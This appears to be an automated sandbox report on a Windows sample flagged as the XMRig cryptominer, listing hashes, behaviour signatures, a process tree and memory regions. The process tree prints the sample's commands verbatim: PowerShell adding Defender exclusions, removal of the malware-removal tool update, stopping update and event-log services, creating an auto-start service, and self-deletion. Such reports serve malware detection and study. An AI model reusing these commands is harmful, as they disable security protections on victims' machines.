Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    14/06/2024, 05:50

General

  • Target

    f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d.exe

  • Size

    5.3MB

  • MD5

    98c7daf1ac99ea93258ebd27cdb423d0

  • SHA1

    89e6a1a7989785b526afa5a35e14632367463555

  • SHA256

    f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d

  • SHA512

    dae3e5cdedf2df82ec4062e61e67dd125db1d80326c133efc2bfc7ba54009942242c73bce45d114830f1a188352898ead409f812129c19348160331d0c7599ef

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • UPX dump on OEP (original entry point) 12 IoCs
  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d.exe
    "C:\Users\Admin\AppData\Local\Temp\f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2068
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2984
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2492
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2828
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2756
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2608
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2432
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2500
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2960
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2912
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2108
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:1748
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1460
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2716
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JVNIRHNX"
      2⤵
      • Launches sc.exe
      PID:2764
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2156
    • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1868
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:2800
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1680
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2128
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2804
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1376
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:1172
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1220
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2920
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3028
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2888
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2228
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2352

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • \ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

              Filesize

              5.3MB

              MD5

              98c7daf1ac99ea93258ebd27cdb423d0

              SHA1

              89e6a1a7989785b526afa5a35e14632367463555

              SHA256

              f1af54d5ce149f54f0cdedcdb258d20011e250e18b78b6dc83e6c8cdb4650e4d

              SHA512

              dae3e5cdedf2df82ec4062e61e67dd125db1d80326c133efc2bfc7ba54009942242c73bce45d114830f1a188352898ead409f812129c19348160331d0c7599ef

            • memory/1868-18-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

              Filesize

              32KB

            • memory/1868-17-0x0000000019EC0000-0x000000001A1A2000-memory.dmp

              Filesize

              2.9MB

            • memory/2228-20-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2228-21-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2228-22-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2228-23-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2228-25-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2228-19-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2352-31-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-36-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-41-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-29-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-37-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-38-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-39-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-40-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-33-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-30-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-28-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-32-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2352-35-0x00000000000B0000-0x00000000000D0000-memory.dmp

              Filesize

              128KB

            • memory/2352-34-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/2984-5-0x000000001B590000-0x000000001B872000-memory.dmp

              Filesize

              2.9MB

            • memory/2984-4-0x000007FEF5E3E000-0x000007FEF5E3F000-memory.dmp

              Filesize

              4KB

            • memory/2984-12-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB

            • memory/2984-6-0x0000000002650000-0x0000000002658000-memory.dmp

              Filesize

              32KB

            • memory/2984-7-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB

            • memory/2984-10-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB

            • memory/2984-11-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB

            • memory/2984-9-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB

            • memory/2984-8-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

              Filesize

              9.6MB